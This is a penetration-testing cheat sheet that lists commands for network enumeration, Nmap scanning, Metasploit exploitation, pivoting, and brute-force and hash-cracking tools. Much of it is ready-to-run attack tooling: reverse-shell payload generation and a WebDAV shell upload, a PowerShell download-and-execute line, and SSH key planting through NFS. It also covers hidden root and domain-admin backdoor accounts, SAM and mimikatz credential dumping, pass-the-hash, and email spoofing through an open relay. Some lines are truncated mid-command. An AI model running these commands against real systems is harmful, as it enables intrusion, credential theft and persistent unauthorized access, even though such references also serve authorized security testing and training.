PenTesting

```
------------------------------------------------------------------------ Reminders

LOG EVERYTHING!

Metasploit - spool /home/<username>/.msf3/logs/console.log
Save contents from each terminal!
Linux - script myoutput.txt  # Type exit to stop

[+] Disable network-manager
service network-manager stop

[+] Set IP address
ifconfig eth0 192.168.50.12/24

[+] Set default gateway
route add default gw 192.168.50.9

[+] Set DNS servers
echo "nameserver 192.168.100.2" >> /etc/resolv.conf

[+] Show routing table
Windows - route print
Linux   - route -n

[+] Add static route
Linux - route add -net 192.168.100.0/24 gw 192.16.50.9
Windows - route add 0.0.0.0 mask 0.0.0.0 192.168.50.9

[+] Subnetting easy mode
ipcalc 192.168.0.1 255.255.255.0

[+] Windows SAM file locations
c:\windows\system32\config\
c:\windows\repair\
bkhive system /root/hive.txt
samdump2 SAM /root/hive.txt > /root/hash.txt

[+] Python Shell
python -c 'import pty;pty.spawn("/bin/bash")'

------------------------------------------------------------------------ Internet Host/Network Enumeration

[+] WHOIS Querying
whois www.domain.com

[+] Resolve an IP using DIG
dig @8.8.8.8 securitymuppets.com

[+] Find Mail servers for a domain
dig @8.8.8.8 securitymuppets.com -t mx

[+] Find any DNS records for a domain
dig @8.8.8.8 securitymuppets.com -t any

[+] Zone Transfer
dig @192.168.100.2 securitymuppets.com -t axfr
host -l securitymuppets.com 192.168.100.2
nslookup / ls -d domain.com.local

[+] Fierce
fierce -dns <domain> -file <output_file>
fierce -dns <domain> -dnsserver <server>
fierce -range <ip-range> -dnsserver <server>
fierce -dns <domain> -wordlist <wordlist>

------------------------------------------------------------------------ IP Network scanning

[+] ARP Scan
arp-scan 192.168.50.8/28 -I eth0
```

[+] NMAP Scans

[+] Nmap ping scan
sudo nmap –sn -oA nmap_pingscan 192.168.100.0/24 (-PE)

[+] Nmap SYN/Top 100 ports Scan
nmap -sS -F -oA nmap_fastscan 192.168.0.1/24

[+] Nmap SYN/Version All port Scan - ## Main Scan
sudo nmap -sV -PN -p0- -T4 -A --stats-every 60s --reason -oA nmap_scan 192.168.0.1/24

[+] Nmap SYN/Version No Ping All port Scan
sudo nmap -sV -Pn -p0- --exclude 192.168.0.1 --reason -oA nmap_scan 192.168.0.1/24

[+] Nmap UDP All port scan - ## Main Scan
sudo nmap -sU -p0- --reason --stats-every 60s --max-rtt-timeout=50ms --max-retries=1 -oA nmap_scan 192.168.0.1/24

[+] Nmap UDP/Fast Scan
nmap -F -sU -oA nmap_UDPscan 192.168.0.1/24

[+] Nmap Top 1000 port UDP Scan
nmap -sU -oA nmap_UDPscan 192.168.0.1/24

[+] HPING3 Scans
hping3 -c 3 -s 53 -p 80 -S 192.168.0.1
Open = flags = SA
Closed = Flags = RA
Blocked = ICMP unreachable
Dropped = No response

[+] Source port scanning
nmap -g <port> (88 (Kerberos) port 53 (DNS) or 67 (DHCP))
Source port also doesn't work for OS detection.

[+] Speed settings
-n ■■■■■Disable DNS resolution
-sS ■■■■TCP SYN (Stealth) Scan
-Pn ■■■■Disable host discovery
-T5■■■■■Insane time template
--min-rate 1000■■1000 packets per second
--max-retries 0■■Disable retransmission of timed-out probes

[+] Netcat (swiss army knife)
Connect mode (ncat is client) | default port is 31337
ncat <host> [<port>]

Listen mode (ncat is server) | default port is 31337
ncat -l [<host>] [<port>]

Transfer file (closes after one transfer)
ncat -l [<host>] [<port>] < file

Transfer file (stays open for multiple transfers)
ncat -l --keep-open [<host>] [<port>] < file

Receive file
ncat [<host>] [<port>] > file

Brokering | allows for multiple clients to connect
ncat -l --broker [<host>] [<port>]

Listen with SSL | many options, use ncat --help for full list
ncat -l --ssl [<host>] [<port>]

Access control
ncat -l --allow <ip>
ncat -l --deny <ip>

Proxying
ncat --proxy <proxyhost>[:<proxyport>] --proxy-type {http | socks4} <host>[<port>]

Chat server | can use brokering for multi-user chat
ncat -l --chat [<host>] [<port>]

---------- Cisco/Networking Commands

? - Help
> - User mode
- Privileged mode
router(config)# - Global Configuration mode

enable secret more secure than enable password.

For example, in the configuration command:
enable secret 5 1iUjJ$cDZ03KKGh7mHfX2RSbDqP.
The enable secret has been hashed with MD5, whereas in the command:
username jdoe password 7 07362E590E1B1C041B1E124C0A2F2E206832752E1A01134D
The password has been encrypted using the weak reversible algorithm.

enable - Change to privileged mode to view configs
config terminal/config t - Change to global config mode to modify

#show version - Gives you the router's configuration register (Firmware)
#show running-config - Shows the router, switch, or firewall's current configuration
#show ip route - show the router's routing table
#show tech-support - Dump config but obscure passwords

---------- Remote Information Services

[+] DNS
Zone Transfer - host -l securitymuppets.com 192.168.100.2
Metasploit Auxiliarys:
auxiliary/gather/enum_dns
use auxiliary/gather/dns...

[+] Finger - Enumerate Users
finger @192.168.0.1
finger -l -p user@ip-address
auxiliary/scanner/finger/finger_users

[+] NTP
Metasploit Auxiliarys

[+] SNMP
onesixtyone -c /usr/share/doc/onesixtyone/dict.txt
Metasploit Module snmp_enum
snmpcheck -t snmpservice

[+] rservices
rwho 192.168.0.1
rlogin -l root 192.168.0.17

[+] RPC Services
rpcinfo -p
Endpoint_mapper metasploit

---------- Web Services

[+] WebDAV
Metasploit Auxiliarys
Upload shell to Vulnerable WebDAV directory:
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.20 LPORT=4444 R | msfencode -t asp -o shell.asp
cadaver http://192.168.0.60/
put shell.asp shell.txt
copy shell.txt shell.asp;.txt
Start reverse handler - browse to http://192.168.0.60/shell.asp;.txt

[+] Nikto Web Scanner
To scan a particular host
perl nikto.pl -host [host IP/name]

To scan a host on multiple ports (default = 80)
perl nikto.pl -host [host IP/name] -port [port number 1], [port number 2], [port number 3]

To scan a host and output fingerprinted information to a file
perl nikto.pl -host [host IP/name] -output [output_file]

To use a proxy while scanning a host

```
perl nikto.pl -host [host IP/name] -useproxy [proxy address]

------------------------------------------------------------------------- Windows Networking Services

[+] Get Domain Information:
nltest /DCLIST:DomainName
nltest /DCNAME:DomainName
nltest /DSGETDC:DomainName

[+] Netbios Enumeration
nbtscan -r 192.168.0.1-100
nbtscan -f hostfiles.txt

[+] enum4linux

[+] RID Cycling
use auxiliary/scanner/smb/smb_lookupsid

[+] Null Session in Windows
net use \\192.168.0.1\IPC$ "" /u:""

[+] Null Session in Linux
smbclient -L //192.168.99.131

------------------------------------------------------------------------- Accessing Email Services

Metasploit Auxiliarys

[+] SMTP Open Relay Commands

[-] ncat -C 86.54.23.178 25
[-] HELO mail.co.uk
[-] MAIL FROM: <Attacker@mail.co.uk>
[-] RCPT TO: <Victim@email.com>
[-] DATA
Test Email - some malicious stuff!

------------------------------------------------------------------------- VPN Testing

[+] ike-scan
ike-scan 192.168.207.134
sudo ike-scan -A 192.168.207.134
sudo ike-scan -A 192.168.207.134 --id=myid -P192-168-207-134key

[+] pskcrack
psk-crack -b 5 192-168-207-134key
psk-crack -b 5 --charset="01233456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 192-168-207-134key
psk-crack -d /path/to/dictionary 192-168-207-134key

------------------------------------------------------------------------- Unix RPC

[+] NFS Mounts

Metasploit : auxiliary/scanner/nfs/nfsmount

rpcinfo -p 192.168.0.10

showmount -e 192.168.0.10
mount 192.168.0.10:/secret /mnt/share/

ssh-keygen
mkdir /tmp/r00t
mount -t nfs 192.168.0.10:/secret /mnt/share/
cat ~/.ssh/id_rsa.pub >> /mnt/share/root/.ssh/authorized_keys
umount /mnt/share
ssh root@192.168.0.10

------------------------------------------------------------------------- Post Exploitation

[+] Command prompt access on Windows Host

pth-winexe -U Administrator%<hash> //<host ip> cmd.exe

[+] Add Linux User
/usr/sbin/useradd –g 0 –u 0 –o user
```

```
echo user:password | /usr/sbin/chpasswd

[+] Add Windows User
net user username password@1 /add
net localgroup administrators username /add

[+] Solaris Commands
useradd -o user
passwd user
usermod -R root user

[+] Dump remote SAM:
PwDump.exe -u localadmin 192.168.0.1

[+] Mimikatz
mimikatz # privilege::debug
mimikatz # sekurlsa::logonPasswords full

[+] Meterpreter
meterpreter> run winenum
meterpreter> use post/windows/gather/smart_hashdump

meterpreter > use incognito
meterpreter > list_tokens -u
meterpreter > impersonate_token TVM\domainadmin
meterpreter > add_user hacker password1 -h 192.168.0.10
meterpreter > add_group_user "Domain Admins" hacker -h 192.168.0.10

meterpreter > load mimikatz
meterpreter > wdigest
meterpreter > getWdigestPasswords
Migrate if does not work!

[+] Kitrap0d
Download vdmallowed.exe and vdmexploit.dll to victim
Run vdmallowed.exe to execute system shell

[+] Windows Information
On Windows:
ipconfig /all
systeminfo
net localgroup administrators
net view
net view /domain

[+] SSH Tunnelling
Remote forward port 222
ssh -R 127.0.0.1:4444:10.1.1.251:222 -p 443 root@192.168.10.118

------------------------------------------------------------------------ Metasploit

# To show all exploits that for a vulnerability
grep <vulnerability> show exploits

# To select an exploit to use
use <exploit>

# To see the current settings for a selected exploit
show options

# To see compatible payloads for a selected exploit
show payloads

# To set the payload for a selected exploit
set payload <payload>

# To set setting for a selected exploit
set <option> <value>

# To run the exploit
exploit

# One liner to create/generate a payload for windows
msfvenom --arch x86 --platform windows --payload windows/meterpreter/reverse_tcp LHOST=<listening_host> LPORT=<listenin
```

```
# One liner start meterpreter
msfconsole -x "use exploit/multi/handler;set payload windows/meterpreter/reverse_tcp;set LHOST <listening_host>;set LPO

---------------- [+] Metasploit Pivot

Compromise 1st machine

# meterpreter> run arp_scanner -r 10.10.10.0/24
route add 10.10.10.10 255.255.255.248 <session>
use auxiliary/scanner/portscan/tcp
use bind shell

or run autoroute:

# meterpreter > ipconfig
# meterpreter > run autoroute -s 10.1.13.0/24
# meterpreter > getsystem
# meterpreter > run hashdump
# use auxiliary/scanner/portscan/tcp
# msf auxiliary(tcp) > use exploit/windows/smb/psexec

or port forwarding:
# meterpreter > run autoroute -s 10.1.13.0/24
# use auxiliary/scanner/portscan/tcp
# meterpreter > portfwd add -l <listening port> -p <remote port> -r <remote/internal host>

or socks proxy:
route add 10.10.10.10 255.255.255.248 <session>
use auxiliary/server/socks4a
Add proxy to /etc/proxychains.conf
proxychains nmap -sT -T4 -Pn 10.10.10.50
setg socks4:127.0.0.1:1080

---------------- [+] Pass the hash

If NTML only:
00000000000000000000000000000000:8846f7eaee8fb117ad06bdd830b7586c

STATUS_ACCESS_DENIED (Command=117 WordCount=0):
This can be remedied by navigating to the registry key, "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanManSer

Run hashdump on the first compromised machine:
run post/windows/gather/hashdump

Run Psexec module and specify the hash:
use exploit/windows/smb/psexec

---------------- [+] Enable RDP:
meterpreter > run getgui -u hacker -p s3cr3t
Clean up command: meterpreter > run multi_console_command -rc /root/.msf3/logs/scripts/getgui/clean_up__20110112.2448.r

---------------- [+] AutoRunScript
Automatically run scripts before exploiation:
set AutoRunScript "migrate explorer.exe"

[+] Set up SOCKS proxy in MSF

[+] Run a post module against all sessions
resource /usr/share/metasploit-framework/scripts/resource/run_all_post.rc

[+] Find local subnets 'Whilst in meterpreter shell'
meterpreter > run get_local_subnets

# Add the correct Local host and Local port parameters
echo "Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.0.7 -Lport 443 -Force" >> /var/www/pay

# Set up psexec module on metasploit
auxiliary/admin/smb/psexec_command
set command powershell -Exec Bypass -NoL -NoProfile -Command IEX (New-Object Net.WebClient).DownloadString(\'http://192

# Start reverse Handler to catch the reverse connection
Module options (exploit/multi/handler):
Payload options (windows/meterpreter/reverse_https):
```

```
   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, process, none
   LHOST     192.168.0.9      yes       The local listener hostname
   LPORT     443              yes       The local listener port

# Show evasion module options
show evasion

[+] Metasploit Shellcode
msfvenom -p windows/shell_bind_tcp -b '\x00\x0a\x0d'


--------------------------------------------------------------------------- File Transfer Services

[+] Start TFTPD Server
atftpd --daemon --port 69 /tmp

[+] Connect to TFTP Server
tftp 192.168.0.10
put / get files

--------------------------------------------------------------------------- LDAP Querying

Tools:
ldapsearch
LDAPExplorertool2

Anonymous Bind:
ldapsearch -h ldaphostname -p 389 -x -b "dc=domain,dc=com"

Authenticated:
ldapsearch -h 192.168.0.60 -p 389 -x -D "CN=Administrator, CN=User, DC=<domain>, DC=com" -b "DC=<domain>, DC=com" -W

Useful Links:
http://www.lanmaster53.com/2013/05/public-facing-ldap-enumeration/
http://blogs.splunk.com/2009/07/30/ldapsearch-is-your-friend/


--------------------------------------------------------------------------- Password Attacks
Convert multiple webpages into a word list:

        for x in 'index' 'about' 'post' 'contact' ; do curl
        http://$ip/$x.html | html2markdown | tr -s ' ' '\\n' >>
        webapp.txt ; done

 Or convert html to word list dict
        html2dic index.html.out | sort -u > index-html.dict


[+] Bruteforcing http password prompts
medusa -h <ip/host> -u <user> -P <password list> -M http -n <port> -m DIR:/<directory> -T 30

[+] Medusa
# To display all currently installed modules
medusa -d

# Display specific options for a module
medusa -M [module_name] -q

# Test all passwords in password file against the admin user on the host
# 192.168.1.20 via the SMB | SSH | MySQL | HTTP service
medusa -h 192.168.1.20 -u admin -P passwords.txt -M [smbnt | ssh | mssql | http]

# To brute force 10 hosts and 5 users concurrently (using Medusa's parallel features)
# Each of the 5 threads targeting a host will check a specific user
medusa -H hosts.txt -U users.txt -P passwords.txt -T 10 -t 5 -L -F -M smbnt


# Medusa allows username, password, and host data to be placed within the same file (the "combo" file).
# Possible combinations in the combo file:

# host:username:password
# host:username:
# host::
```

```
# :username:password
# :username:
# ::password
# host::password
# :id:lm:ntlm::: (PwDump files)

# To test each username/password entry in the file combo.txt
medusa -M smbnt -C combo.txt

[+] Hydra
#hydra does not have a native default wordlist, using the Rockyou list is suggested
#example brute force crack on ftp server
hydra -t 1 -l admin -P [path to password.lst] -vV [IPaddress] ftp
--> -t # = preform # tasks
--> -l NAME = try to log in with NAME
--> -P [filepath] = Try password
--> -vV = verbose mode, showing the login+pass for each attempt

#check for joe accounts by adding modifier -e s

#Hydra brute force against SNMP
hydra -P password-file.txt -v $ip snmp

#Hydra FTP known user and password list
hydra -t 1 -l admin -P /root/Desktop/password.lst -vV $ip ftp

#Hydra SSH using list of users and passwords
hydra -v -V -u -L users.txt -P passwords.txt -t 1 -u $ip ssh

#Hydra SSH using a known password and a username list
hydra -v -V -u -L users.txt -p "<known password>" -t 1 -u $ip ssh

#Hydra SSH Against Known username on port 22
hydra $ip -s 22 ssh -l <user> -P big\_wordlist.txt

#Hydra POP3 Brute Force
hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f $ip pop3 -V

#Hydra SMTP Brute Force
hydra -P /usr/share/wordlistsnmap.lst $ip smtp -V

#Hydra attack http get 401 login with a dictionary
hydra -L ./webapp.txt -P ./webapp.txt $ip http-get /admin

#Hydra attack Windows Remote Desktop with rockyou
hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://$ip

#Hydra brute force a Wordpress admin login
hydra -l admin -P ./passwordlist.txt $ip -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testco

#to write found login+pass combinations to fiel, add modifier -0 [fileanme]


[+] Mimikatz
#Extract plaintexts passwords, hash, PIN code and kerberos tickets from memory. mimikatz can also perform pass-the-hash
From metasploit meterpreter (must have System level access):

meterpreter> load mimikatz
meterpreter> help mimikatz
meterpreter> msv
meterpreter> kerberos
meterpreter> mimikatz_command -f samdump::hashes
meterpreter> mimikatz_command -f sekurlsa::searchPasswords

[+] ncrack
#ncrack (from the makers of nmap) can brute force RDP
ncrack -vv --user offsec -P password-file.txt rdp://$ip


[+] John The Ripper
#To show the types of passwords that John can crack with crack speed (in cracks/second)
john --test

#unshadow passwd-file.txt shadow-file.txt
```

```
unshadow passwd-file.txt shadow-file.txt > unshadowed.txt
john $ip.pwdump
john --wordlist=/usr/share/wordlists/rockyou.txt hashes
john --rules --wordlist=/usr/share/wordlists/rockyou.txt
john --rules --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt

#JTR forced descrypt cracking with wordlist
john --format=descrypt --wordlist  /usr/share/wordlists/rockyou.txt hash.txt

#JTR forced descrypt brute force cracking
john --format=descrypt hash --show

#To use your own word list (the Rockyou list is suggested)
john --wordlist=[filename] [passwordfile]

#To show your results after running john (shows ~/.john/john.pot)
john --show

#To restore an interrupted john session
john --restore


[+] Hashcat
#Hashcat uses precomputed dictionaries, rainbow tables, and even a brute-force approach to find an effective and effici

#usage: hashcat [options] hash|hasfile|hccapxfile [dictonary|mask|directory]

# Important options are -m --hashtype and -a --attack-mode
   Example: hashcat -a 0 -m 500 -o output.txt hashes.txt rockyou.txt

#Attack modes
   0 - Straight
   1 - Combination
   3 - Brute-force
   6 - Hybrid wordlist+Mask
   7 - Hybrid mask + Wordlist

 # Hash types
   Hash cat can crack numerous types of hashes. When the hashes doesn't match with hash type(-m) option "line length ex
   Quick reference to check hash type with example: https://hashcat.net/wiki/doku.php?id=example_hashes

[+] Cain and Abel
   #Cain and Abel is a hacking application exclusive to Windows, it can crack numerous hash types, including NTLM, NTLM

   #To perform dictionary attack for cracking passwords by using cain and abel
      first import the NTLM hashes.
      Next in cracker tab, all imported username and hashes will be displayed.
      Select desired user, right click and select dictonary attack
      NTLM hashes window will popup
      Right click on top blank area
      Select Add to list and browse dictonary or wordlist file
      Click start

[+] Ophcrack
#Ophcrack is a free rainbow table-based password cracking tool for Windows 8 (both local and Microsoft accounts), Windo

#The Ophcrack LiveCD option allows for completely automatic password recovery.

#It cracks LM and NTLM (Windows) hashes.

#Pros
  Software is freely available for download online
  Passwords are recovered automatically using the LiveCD method
  No software installation is necessary to recover passwords
  No knowledge of any existing passwords is necessary

#Cons
  LiveCD ISO image must be burned to a disc or USB device before being used
  Passwords greater than 14 characters cannot be cracked
  Won't crack even the simplest Windows 10 password

[+] RainbowCrack
#The RainbowCrack software cracks hashes by rainbow table lookup.
```

```
#To crack single hash
rcrack [rainbow_table_path] -h hash_to_be_cracked
Path - Location of rainbow tables
Example: rcrack c:\rt -h fcea920f7412b5da7be0cf42b8c93759

#To crack multiple hashes in a file
rcrack [rainbow_table_path] -l hash_file
Example: rcrack c:\rt -l hash_list_file

#To lookup rainbow tables in multiple directories
rcrack [rainbow_table_path] [rainbow_table_path2] -l hash_file
Example: rcrack c:\rt1 c:\rt2 -l hash_list_file

#To load and crack LM hashes from pwdump file
rcrack [rainbow_table_path] -lm pwdump_file

#To load and crack NTLM hashes from pwdump file
rcrack [rainbow_table_path] -ntlm pwdump_file

[+] acccheck
#Windows Password dictionary attack tool for SMB

#Usage: acccheck [options]
   options -t [single host IP address]
           -T [file containing target ip address(es)]
           -p [single password]
           -P [file containing passwords]
           -u [single user]
           -U [file containing usernames]

#Examples
Attempt the 'Administrator' account with a [BLANK] password.
acccheck -t 10.10.10.1
Attempt all passwords in 'password.txt' against the 'Administrator' account.
acccheck -t 10.10.10.1 -P password.txt
Attempt all password in 'password.txt' against all users in 'users.txt'.
acccehck -t 10.10.10.1 -U users.txt -P password.txt
Attempt a single password against a single user.
acccheck -t 10.10.10.1 -u administrator -p password


[+]Brutespray
#BruteSpray takes nmap GNMAP/XML output and automatically brute-forces services with default credentials using Medusa.

#usage: brutespray [-h] -f FILE [-o OUTPUT] [-s SERVICE] [-t THREADS]
                   [-T HOSTS] [-U USERLIST] [-P PASSLIST] [-u USERNAME]
                   [-p PASSWORD] [-c] [-i]
#Example
brutespray --file nas.gnmap -U /usr/share/wordlists/metasploit/unix_users.txt -P /usr/share/wordlists/metasploit/passwo
Attack all services in nas.gnmap with a specific user list (unix_users.txt) and password list (password.lst).

[+]Crowbar
#Crowbar is a brute force tool which supports OpenVPN, Remote Desktop Protocol, SSH Private Keys and VNC Keys.

#usage: crowbar -b [openvpn | rdp | sshkey | vnckey] [arguments]
Example:crowbar -b rdp -s 192.168.86.61/32 -u victim -C /root/words.txt -n 1
Brute force the RDP service on a single host with a specified username and wordlist, using 1 thread.

[+]Aircrack-ng
#Aircrack-ng is an 802.11 WEP and WPA-PSK keys cracking program that can recover keys once enough data packets have bee

#usage
aircrack-ng [options] <.cap / .ivs file(s)>
To have aircrack-ng conduct a WEP key attack on a capture file, pass it the filename, either in .ivs or .cap/.pcap form

#WPA Wordlist Mode
aircrack-ng -w password.lst wpa.cap
Specify the wordlist to use (-w password.lst) and the path to the capture file (wpa.cap) containing at least one 4-way

#Basic WEP Cracking
aircrack-ng all-ivs.ivs
To have aircrack-ng conduct a WEP key attack on a capture file, pass it the filename, either in .ivs or .cap/.pcap form
```